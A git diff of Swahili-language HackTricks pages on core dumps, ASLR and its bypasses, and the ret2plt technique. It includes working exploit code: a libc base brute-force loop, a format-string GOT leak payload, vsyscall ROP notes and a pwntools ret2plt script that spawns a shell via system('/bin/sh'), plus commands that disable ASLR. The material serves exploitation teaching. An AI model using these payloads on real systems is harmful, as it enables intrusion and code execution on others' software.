# Kinga za Kimaumbile za Binary
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
## Wezesha Faili za Msingi
**Faili za msingi** ni aina ya faili inayozalishwa na mfumo wa uendeshaji wakati mchakato unapopata hitilafu. Faili hizi hurekodi picha ya kumbukumbu ya mchakato uliopata hitilafu wakati wa kusitishwa kwake, ikiwa ni pamoja na kumbukumbu ya mchakato, rejista, na hali ya kuhesabu programu, pamoja na maelezo mengine. Picha hii inaweza kuwa ya thamani kubwa kwa ajili ya kutatua hitilafu na kuelewa kwa nini hitilafu ilitokea.
### **Kuwezesha Uzalishaji wa Dump ya Msingi**
Kwa kawaida, mifumo mingi hupunguza ukubwa wa faili za msingi hadi 0 (yaani, hazizalishi faili za msingi) ili kuokoa nafasi ya diski. Ili kuwezesha uzalishaji wa faili za msingi, unaweza kutumia amri ya `ulimit` (katika bash au mifumo inayofanana) au kusanidi mipangilio ya mfumo kwa ujumla.
* **Kutumia ulimit**: Amri `ulimit -c unlimited` inaruhusu kikao cha kabati cha sasa kuunda faili za msingi zenye ukubwa usio na kikomo. Hii ni muhimu kwa vikao vya kutatua hitilafu lakini haiko thabiti kati ya kuanzishwa upya au vikao vipya.
```bash
ulimit -c unlimited
```
* **Mipangilio Thabiti**: Kwa suluhisho la kudumu zaidi, unaweza kuhariri faili ya `/etc/security/limits.conf` ili ujumuishe mstari kama `* soft core unlimited`, ambao unaruhusu watumiaji wote kuzalisha faili za msingi zenye ukubwa usio na kikomo bila kulazimika kuweka ulimit kwa mikono katika vikao vyao.
```markdown
* soft core unlimited
```
### **Kuchambua Faili za Msingi na GDB**
Ili kuchambua faili ya msingi, unaweza kutumia zana za kudebugi kama GDB (GNU Debugger). Ukidhani una faili ya kutekelezwa ambayo ilizalisha dump ya msingi na faili ya msingi inaitwa `core_file`, unaweza kuanza uchambuzi na:
```bash
gdb /path/to/executable /path/to/core_file
```
Hii amri inapakia faili ya kutekelezeka na faili ya msingi ndani ya GDB, ikiruhusu uchunguze hali ya programu wakati wa kushindwa. Unaweza kutumia amri za GDB kuchunguza steki, kuchunguza viwakilishi, na kuelewa sababu ya kushindwa.
# Kinga na Kupita Kizuizi cha Kufyonza Binary Kwa Kawaida
<details>
@ -47,7 +9,45 @@ Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kufyonza kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
## Wezesha Faili za Msingi
**Faili za msingi** ni aina ya faili inayozalishwa na mfumo wa uendeshaji wakati mchakato unapopata ajali. Faili hizi hukamata picha ya kumbukumbu ya mchakato uliopata ajali wakati wa kufungwa kwake, ikiwa ni pamoja na kumbukumbu ya mchakato, rejista, na hali ya kikokotoo cha programu, miongoni mwa maelezo mengine. Picha hii inaweza kuwa na thamani kubwa kwa ajili ya kutatua hitilafu na kuelewa kwa nini ajali ilitokea.
### **Kuwezesha Uzalishaji wa Dump ya Msingi**
Kwa chaguo-msingi, mifumo mingi hupunguza ukubwa wa faili za msingi kuwa 0 (yaani, hazizalishi faili za msingi) ili kuokoa nafasi ya diski. Ili kuwezesha uzalishaji wa faili za msingi, unaweza kutumia amri ya **`ulimit`** (katika bash au mifumo ya aina hiyo) au kusanidi mipangilio ya mfumo kwa ujumla.
* **Kutumia ulimit**: Amri `ulimit -c unlimited` inaruhusu kikao cha kabati cha sasa kuunda faili za msingi zenye ukubwa usio na kikomo. Hii ni muhimu kwa vikao vya kutatua matatizo lakini si endelevu kupitia kuanzishwa upya au vikao vipya.
```bash
ulimit -c unlimited
```
* **Mipangilio Thabiti**: Kwa suluhisho la kudumu zaidi, unaweza kuhariri faili ya `/etc/security/limits.conf` ili ujumuishe mstari kama `* soft core unlimited`, ambao unaruhusu watumiaji wote kuzalisha faili za msingi zenye ukubwa usio na kikomo bila kulazimika kuweka ulimit kwa mikono katika vikao vyao.
```markdown
* soft core unlimited
```
### **Kuchambua Faili za Msingi na GDB**
Ili kuchambua faili ya msingi, unaweza kutumia zana za kudebugi kama GDB (GNU Debugger). Ukidhani una kutekelezeka ambayo ilizalisha dump ya msingi na faili ya msingi inaitwa `core_file`, unaweza kuanza uchambuzi na:
```bash
gdb /path/to/executable /path/to/core_file
```
Hii amri inapakia faili ya kutekelezeka na faili ya msingi ndani ya GDB, ikiruhusu uchunguze hali ya programu wakati wa kushindwa. Unaweza kutumia amri za GDB kuchunguza steki, kuchunguza viwakilishi, na kuelewa sababu ya kushindwa.
<details>
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>

View file

@ -8,23 +8,23 @@ Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
## Taarifa Msingi
**Urambazaji wa Muundo wa Nafasi ya Anwani (ASLR)** ni mbinu ya usalama inayotumiwa katika mifumo ya uendeshaji kwa **kuchanganya nafasi za kumbukumbu** zinazotumiwa na michakato ya mfumo na maombi. Kwa kufanya hivyo, inafanya iwe ngumu sana kwa mkaidi kutabiri mahali pa michakato na data maalum, kama vile stack, heap, na maktaba, hivyo kupunguza aina fulani za uvamizi, hasa mlipuko wa ujazo.
**Urambazaji wa Mfumo wa Mpangilio wa Nafasi (ASLR)** ni mbinu ya usalama inayotumiwa kwenye mifumo ya uendeshaji kwa kuchanganya **anwani za kumbukumbu** zinazotumiwa na michakato ya mfumo na maombi. Kwa kufanya hivyo, inafanya iwe ngumu sana kwa mkaidi kubashiri mahali pa michakato na data maalum, kama vile steki, rundo, na maktaba, hivyo kupunguza aina fulani za uvamizi, hasa mlipuko wa ujazo.
### **Kuangalia Hali ya ASLR**
Ku **kuchunguza** hali ya ASLR kwenye mfumo wa Linux, unaweza kusoma thamani kutoka faili ya `/proc/sys/kernel/randomize_va_space`. Thamani iliyohifadhiwa kwenye faili hii inaamua aina ya ASLR inayotumiwa:
Ku **kucheki** hali ya ASLR kwenye mfumo wa Linux, unaweza kusoma thamani kutoka faili ya **`/proc/sys/kernel/randomize_va_space`**. Thamani iliyohifadhiwa kwenye faili hii inaamua aina ya ASLR inayotumiwa:
* **0**: Hakuna kuchanganya. Kila kitu ni tuli.
* **1**: Urambazaji wa kuchagua. Maktaba zilizoshirikiwa, stack, mmap(), ukurasa wa VDSO zinachanganywa.
* **2**: Urambazaji kamili. Mbali na vitu vilivyochanganywa na urambazaji wa kuchagua, kumbukumbu inayosimamiwa kupitia `brk()` inachanganywa.
* **1**: Urambazaji wa tahadhari. Maktaba zinazoshirikiwa, steki, mmap(), ukurasa wa VDSO zinachanganywa.
* **2**: Urambazaji kamili. Mbali na vitu vilivyochanganywa na urambazaji wa tahadhari, kumbukumbu inayosimamiwa kupitia `brk()` inachanganywa.
Unaweza kuangalia hali ya ASLR kwa amri ifuatayo:
```bash
@ -32,7 +32,7 @@ cat /proc/sys/kernel/randomize_va_space
```
### **Kulemaza ASLR**
Ili **kulemaza** ASLR, weka thamani ya `/proc/sys/kernel/randomize_va_space` kuwa **0**. Kulemaza ASLR kwa ujumla haipendekezwi isipokuwa katika mazingira ya majaribio au kutatua matatizo. Hapa ndivyo unavyoweza kulemaza:
Ili **kulemaza** ASLR, weka thamani ya `/proc/sys/kernel/randomize_va_space` kuwa **0**. Kulemaza ASLR kwa ujumla haipendekezi isipokuwa katika mazingira ya majaribio au kutatua matatizo. Hapa ndivyo unavyoweza kulemaza:
```bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```
@ -43,41 +43,41 @@ setarch `uname -m` -R ./bin args
```
### **Kuwezesha ASLR**
Ili **kuwezesha** ASLR, unaweza kuandika thamani ya **2** kwa faili ya `/proc/sys/kernel/randomize_va_space`. Kawaida hii inahitaji mamlaka ya msingi. Kuwezesha ubadilishaji kamili unaweza kufanywa kwa amri ifuatayo:
Ili **kuwezesha** ASLR, unaweza kuandika thamani ya **2** kwa faili ya `/proc/sys/kernel/randomize_va_space`. Kawaida hii inahitaji mamlaka ya mzizi. Kuwezesha ubadilishaji kamili unaweza kufanywa kwa amri ifuatayo:
```bash
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
```
### **Uthabiti Kupitia Kuzimwa Upya**
Mabadiliko yaliyofanywa kwa kutumia amri za `echo` ni ya muda na yatarejeshwa wakati wa kuzimwa upya. Ili kufanya mabadiliko yawe ya kudumu, unahitaji kuhariri faili ya `/etc/sysctl.conf` na kuongeza au kuhariri mstari ufuatao:
Mabadiliko yaliyofanywa kwa amri za `echo` ni ya muda na yatarejeshwa wakati wa kuzimwa upya. Ili kufanya mabadiliko yawe ya kudumu, unahitaji kuhariri faili ya `/etc/sysctl.conf` na kuongeza au kuhariri mstari ufuatao:
```tsconfig
kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR
```
Baada ya kuhariri `/etc/sysctl.conf`, tumia mabadiliko kwa:
Baada ya kuhariri `/etc/sysctl.conf`, weka mabadiliko kwa kutumia:
```bash
sudo sysctl -p
```
Hii itahakikisha mipangilio yako ya ASLR inabaki hata baada ya kuzima na kuwasha upya.
Hii itahakikisha mipangilio yako ya ASLR inabaki hata baada ya kuzimwa na kuzimwa upya.
## **Kupitisha**
### Kufanya nguvu kwa biti 32
### 32bit brute-forcing
PaX inagawa nafasi ya anwani ya mchakato katika **makundi 3**:
* **Msimbo na data** (iliyoanzishwa na isiyoanzishwa): `.text`, `.data`, na `.bss` —> **biti 16** za entropy katika kifaa cha `delta_exec`. Kifaa hiki kinaanzishwa kwa nasibu kila mchakato na kuongezwa kwa anwani za awali.
* **Kumbukumbu** iliyotengwa na `mmap()` na **maktaba zilizoshirikiwa** —> **biti 16**, inayoitwa `delta_mmap`.
* **Mtungo** —> **biti 24**, inayoitwa `delta_stack`. Walakini, inatumia **biti 11** (kutoka kwa byte ya 10 hadi ya 20 pamoja), imepangwa kwa **byte 16** —> Hii inasababisha **anwani halisi 524,288 za mtungo**.
* **Msimbo na data** (iliyoanzishwa na isiyoanzishwa): `.text`, `.data`, na `.bss` —> **16 bits** ya entropy katika kifaa cha `delta_exec`. Kifaa hiki kinaanzishwa kwa nasibu kila mchakato na kuongezwa kwa anwani za awali.
* **Kumbukumbu** iliyotengwa na `mmap()` na **maktaba zilizoshirikiwa** —> **16 bits**, inayoitwa `delta_mmap`.
* **Mtungo** —> **24 bits**, inayoitwa `delta_stack`. Walakini, inatumia **bits 11** (kutoka kwa byte ya 10 hadi ya 20 pamoja), imepangwa kwa **16 bytes** —> Hii inapelekea **anwani halisi 524,288 za mtungo**.
Data iliyotangulia ni kwa mifumo ya biti 32 na entropy ya mwisho iliyopunguzwa inawezesha kupitisha ASLR kwa kujaribu tena na tena hadi shambulio litakapokamilika kwa mafanikio.
Data iliyotangulia ni kwa mifumo ya 32-bit na entropy ya mwisho iliyopunguzwa inawezesha kupitisha ASLR kwa kujaribu tena na tena hadi shambulio litakapokamilika kwa mafanikio.
#### Mawazo ya kufanya nguvu:
#### Mawazo ya kujaribu kwa nguvu:
* Ikiwa una kutosha kwa kutosha kuhifadhi **barafu kubwa ya NOP kabla ya msimbo wa kabati**, unaweza tu kufanya nguvu kwa anwani kwenye mtungo hadi mchakato **unapovuka sehemu ya barafu ya NOP**.
* Chaguo lingine kwa hili ikiwa kutosha kwa kutosha si kubwa na shambulio linaweza kutekelezwa kwa ndani ni kuingiza **barafu ya NOP na msimbo wa kabati katika mazingira ya pembejeo**.
* Ikiwa shambulio ni la kienyeji, unaweza kujaribu kufanya nguvu kwa anwani ya msingi ya libc (yenye manufaa kwa mifumo ya biti 32):
* Ikiwa una kutosha kwa kutosha kuhifadhi **kifuniko kikubwa cha NOP kabla ya msimbo wa kabati**, unaweza tu kujaribu kwa nguvu anwani kwenye mtungo hadi mchakato **unapovuka sehemu ya kifuniko cha NOP**.
* Chaguo lingine kwa hili ikiwa kifurushi hakijafikia kiasi kikubwa na shambulio linaweza kutekelezwa kwa ndani ni kuingiza **kifuniko cha NOP na msimbo wa kabati katika mazingira ya pembejeo**.
* Ikiwa shambulio ni la kienyeji, unaweza kujaribu kwa nguvu anwani ya msingi ya libc (yenye manufaa kwa mifumo ya 32-bit):
```python
for off in range(0xb7000000, 0xb8000000, 0x1000):
```
@ -89,19 +89,19 @@ Kwenye mifumo ya 64bit entropy ni kubwa zaidi na hili halitowezekana.
### Taarifa za Kienyeji (`/proc/[pid]/stat`)
Faili ya **`/proc/[pid]/stat`** ya mchakato daima inaweza kusomwa na kila mtu na ina **taarifa muhimu** kama vile:
Faili ya **`/proc/[pid]/stat`** ya mchakato ni rahisi kusomwa na kila mtu na ina **taarifa muhimu** kama vile:
* **startcode** & **endcode**: Anwani juu na chini ya **TEXT** ya binary
* **startstack**: Anwani ya kuanzia ya **stack**
* **start\_data** & **end\_data**: Anwani juu na chini ambapo **BSS** iko
* **kstkesp** & **kstkeip**: Anwani za sasa za **ESP** na **EIP**
* **arg\_start** & **arg\_end**: Anwani juu na chini ambapo **cli arguments** ziko.
* **env\_start** & **env\_end**: Anwani juu na chini ambapo **variables za mazingira** ziko.
* **arg\_start** & **arg\_end**: Anwani juu na chini ambapo **maagizo ya amri** yako.
* **env\_start** & **env\_end**: Anwani juu na chini ambapo **mazingira ya mazingira** yako.
Hivyo, ikiwa mshambuliaji yupo kwenye kompyuta ile ile kama binary inayotumiwa na hii binary haitegemei kujaa kutoka kwa hoja za raw, lakini kutoka kwa **ingizo ambalo linaweza kutengenezwa baada ya kusoma faili hii**. Ni rahisi kwa mshambuliaji **kupata baadhi ya anwani kutoka kwa faili hii na kujenga offsets kutoka kwao kwa ajili ya shambulio**.
Hivyo, ikiwa mshambuliaji yupo kwenye kompyuta ile ile kama binary inayotumiwa na hii binary haitegemei kujaa kutoka kwa hoja za msingi, lakini kutoka kwa **ingizo tofauti linaloweza kutengenezwa baada ya kusoma faili hii**. Ni rahisi kwa mshambuliaji **kupata baadhi ya anwani kutoka kwenye faili hii na kujenga offsets kutoka kwao kwa ajili ya shambulio**.
{% hint style="success" %}
Kwa habari zaidi kuhusu faili hii angalia [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) ukisaka `/proc/pid/stat`
Kwa habari zaidi kuhusu faili hii angalia [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) ukichunguza `/proc/pid/stat`
{% endhint %}
### Kuwa na uvujaji
@ -143,7 +143,7 @@ Kwa kutumia kuzidi kwa buffer, ingewezekana kutumia **ret2plt** kufichua anwani
* **Format Strings Arbitrary Read**
Kama ilivyo kwa ret2plt, ikiwa una usomaji wa kiholela kupitia udhaifu wa format strings, ni rahisi kufichua anwani ya kazi ya **libc** kutoka kwa GOT. Mfano ufuatao [**unapatikana hapa**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got):
Kama ilivyo kwa ret2plt, ikiwa una usomaji wa kiholela kupitia udhaifu wa format strings, ni rahisi kufichua anwani ya kazi ya **libc function** kutoka kwa GOT. Mfano ufuatao [**unapatikana hapa**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got):
```python
payload = p32(elf.got['puts']) # p64() if 64-bit
payload += b'|'
@ -154,7 +154,7 @@ payload += b'%3$s' # The third parameter points at the start of the
payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])
```
Unaweza kupata habari zaidi kuhusu Soma za Fomati za kiholela katika:
Unaweza kupata habari zaidi kuhusu Soma za Fomati za Arbitrary katika:
{% content-ref url="../../format-strings/" %}
[format-strings](../../format-strings/)
@ -162,7 +162,7 @@ Unaweza kupata habari zaidi kuhusu Soma za Fomati za kiholela katika:
### Ret2ret & Ret2pop
Jaribu kukiuka ASLR kwa kutumia anwani ndani ya steki:
Jaribu kukiuka ASLR kwa kutumia anwani ndani ya stack:
{% content-ref url="ret2ret.md" %}
[ret2ret.md](ret2ret.md)
@ -170,12 +170,12 @@ Jaribu kukiuka ASLR kwa kutumia anwani ndani ya steki:
### vsyscall
Mfumo wa **`vsyscall`** unatumika kuongeza utendaji kwa kuruhusu wito fulani wa mfumo kutekelezwa katika nafasi ya mtumiaji, ingawa kimsingi ni sehemu ya msingi. Faida kuu ya **vsyscalls** iko katika **anwani zao za kudumu**, ambazo hazitawaliwi na **ASLR** (Usanidi wa Nafasi ya Anwani kwa Bahati). Tabia hii ya kudumu inamaanisha kwamba wachomaji hawahitaji udhaifu wa kuvuja kwa habari ili kujua anwani zao na kuzitumia katika shambulio.\
Mfumo wa **`vsyscall`** unatumika kuongeza utendaji kwa kuruhusu wito fulani wa mfumo kutekelezwa katika nafasi ya mtumiaji, ingawa kimsingi ni sehemu ya kernel. Faida kuu ya **vsyscalls** iko katika **anwani zao za kudumu**, ambazo hazitawekwa chini ya **ASLR** (Usanidi wa Nafasi ya Anwani kwa Bahati). Tabia hii ya kudumu inamaanisha kuwa wadukuzi hawahitaji udhaifu wa kuvuja kwa habari ili kujua anwani zao na kuzitumia katika shambulio.\
Hata hivyo, hakuna vifaa vya kuvutia sana vitakavyopatikana hapa (ingawa kwa mfano inawezekana kupata sawa na `ret;`)
(Mfano na nambari ifuatayo ni [**kutoka kwenye andiko hili**](https://guyinatuxedo.github.io/15-partial\_overwrite/hacklu15\_stackstuff/index.html#exploitation))
(Mfano na msimbo ufuatao ni [**kutoka kwenye andiko hili**](https://guyinatuxedo.github.io/15-partial\_overwrite/hacklu15\_stackstuff/index.html#exploitation))
Kwa mfano, mchomaji anaweza kutumia anwani `0xffffffffff600800` ndani ya shambulio. Wakati jaribio la kuruka moja kwa moja kwenye maagizo ya `ret` linaweza kusababisha kutokuwa imara au kuzimia baada ya kutekeleza vifaa vichache, kuruka mwanzo wa `syscall` iliyotolewa na sehemu ya **vsyscall** inaweza kufanikiwa. Kwa kuweka kwa uangalifu kifaa cha **ROP** kinachosababisha utekelezaji kwenye anwani hii ya **vsyscall**, mchomaji anaweza kupata utekelezaji wa nambari bila kuhitaji kukiuka **ASLR** kwa sehemu hii ya shambulio.
Kwa mfano, muhusika anaweza kutumia anwani `0xffffffffff600800` ndani ya shambulio. Wakati wa kujaribu kuruka moja kwa moja kwenye maagizo ya `ret` inaweza kusababisha kutokuwa imara au kuzimia baada ya kutekeleza vifaa vichache, kuruka mwanzo wa `syscall` iliyotolewa na sehemu ya **vsyscall** inaweza kufanikiwa. Kwa kuweka kwa uangalifu kifaa cha **ROP** kinachosababisha utekelezaji kwenye anwani hii ya **vsyscall**, muhusika anaweza kupata utekelezaji wa kanuni bila kuhitaji kukiuka **ASLR** kwa sehemu hii ya shambulio.
```
ef➤ vmmap
Start End Offset Perm Path
@ -224,8 +224,8 @@ Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>

View file

@ -9,14 +9,14 @@ Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
## Taarifa Msingi
Lengo la mbinu hii ni **kuvuja anwani kutoka kwa kazi kutoka kwa PLT** ili kuweza kukiuka ASLR. Hii ni kwa sababu ikiwa, kwa mfano, unavuja anwani ya kazi ya `puts` kutoka kwa libc, basi unaweza **kukadiria wapi msingi wa `libc`** uko na kukadiria offsets kufikia kazi nyingine kama vile **`system`**.
Lengo la mbinu hii ni **kuvuja anwani kutoka kwa kazi kutoka kwa PLT** ili kuweza kukiuka ASLR. Hii ni kwa sababu ikiwa, kwa mfano, unavuja anwani ya kazi `puts` kutoka kwa libc, basi unaweza **kukadiria wapi msingi wa `libc`** uko na kukadiria offsets kufikia kazi nyingine kama vile **`system`**.
Hii inaweza kufanywa na mzigo wa `pwntools` kama ([**kutoka hapa**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got)):
```python
@ -37,15 +37,15 @@ elf.plt['puts'],
elf.symbols['main']
)
```
Tambua jinsi **`puts`** (ikitumia anwani kutoka kwa PLT) inaitwa na anwani ya `puts` iliyopo kwenye `GOT`. Hii ni kwa sababu wakati `puts` inachapisha kuingia cha `GOT`, kuingia hicho **kitakuwa na anwani ya `puts` kwenye kumbukumbu**.
Tafadhali angalia jinsi **`puts`** (ikitumia anwani kutoka kwa PLT) inavyoitwa na anwani ya `puts` iliyopo kwenye GOT (Global Offset Table). Hii ni kwa sababu wakati `puts` inachapisha kuingia kwa GOT ya puts, **kuingia hicho kitakuwa na anwani sahihi ya `puts` kwenye kumbukumbu**.
Pia tambua jinsi anwani ya `main` inavyotumiwa katika shambulizi ili wakati `puts` inamaliza utekelezaji wake, **binary inaita `main` tena badala ya kutoka** (hivyo anwani iliyovuja itaendelea kuwa halali).
Pia angalia jinsi anwani ya `main` inavyotumiwa katika shambulizi ili wakati `puts` inamaliza utekelezaji wake, **binary inaita `main` tena badala ya kutoka** (hivyo anwani iliyovuja itaendelea kuwa halali).
{% hint style="danger" %}
Tambua jinsi ili hili lifanye kazi **binary haitakiwi kuwa imeunganishwa na PIE** au lazima uwe umepata **uvujaji wa kuepuka PIE** ili kujua anwani ya `PLT`, `GOT` na `main`.
Tafadhali angalia jinsi ili hili lifanye kazi **binary haitakiwi kuwa imeunganishwa na PIE** au lazima uwe umepata **kuvuja kwa kuzidi PIE** ili kujua anwani ya PLT, GOT, na main. Vinginevyo, unahitaji kuzidi PIE kwanza.
{% endhint %}
Unaweza kupata [**mfano kamili wa kuepuka hii hapa**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). Hii ilikuwa shambulizi la mwisho kutoka kwenye mfano huo:
Unaweza kupata [**mfano kamili wa kuzidi hapa**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). Hii ilikuwa shambulizi la mwisho kutoka kwenye **mfano huo**:
```python
from pwn import *
@ -81,9 +81,23 @@ p.sendline(payload)
p.interactive()
```
## Mifano nyingine & Marejeo
## Mifano Mingine & Marejeo
* [https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html)
* Biti 64, ASLR imewezeshwa lakini hakuna PIE, hatua ya kwanza ni kujaza kuzidi hadi byte 0x00 ya canary kisha kuita puts na kuvuja. Kwa canary, ROP gadget inaundwa kuita puts kuvuja anwani ya puts kutoka kwa GOT na kisha ROP gadget kuita `system('/bin/sh')`
* Biti 64, ASLR imewezeshwa lakini hakuna PIE, hatua ya kwanza ni kujaza kuzidi hadi byte 0x00 ya canary kisha kuita puts na kuvuja. Pamoja na canary, ROP gadget inaundwa kuita puts kuvuja anwani ya puts kutoka kwa GOT na kisha ROP gadget kuita `system('/bin/sh')`
